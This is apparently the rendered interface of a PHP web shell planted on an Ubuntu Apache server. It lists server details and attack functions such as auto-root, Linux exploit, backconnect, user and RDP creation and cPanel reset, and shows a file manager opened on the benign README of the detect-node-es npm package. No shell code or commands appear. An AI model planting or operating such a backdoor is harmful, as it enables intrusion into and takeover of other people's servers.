Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
detect-node-es /
[ HOME SHELL ]
Name
Size
Permission
Action
es5
[ DIR ]
drwxrwxr-x
esm
[ DIR ]
drwxrwxr-x
LICENSE
1.04
KB
-rw-rw-r--
Readme.md
871
B
-rw-rw-r--
package.json
727
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Readme.md
## detect-node > This is a fork of `detect-node`. Differences: - uses named export {isNode} - has d.ts integrated - supports ESM ### Install ```shell npm install --save detect-node-es ``` ### Usage: ```diff -var isNode = require('detect-node'); +var {isNode} = require('detect-node-es'); if (isNode) { console.log("Running under Node.JS"); } else { alert("Hello from browser (or whatever not-a-node env)"); } ``` The check is performed as: ```js module.exports = false; // Only Node.JS has a process variable that is of [[Class]] process try { module.exports = Object.prototype.toString.call(global.process) === '[object process]' } catch(e) {} ``` Thanks to Ingvar Stepanyan for the initial idea. This check is both **the most reliable I could find** and it does not use `process` env directly, which would cause browserify to include it into the build.
Close
